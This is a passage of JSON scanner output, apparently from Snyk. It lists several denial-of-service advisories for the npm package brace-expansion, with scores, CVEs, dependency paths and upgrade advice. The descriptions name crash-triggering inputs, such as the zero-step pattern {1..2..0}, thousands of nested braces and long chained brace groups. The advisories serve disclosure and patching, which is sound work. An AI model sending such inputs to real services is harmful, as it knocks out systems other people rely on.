"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
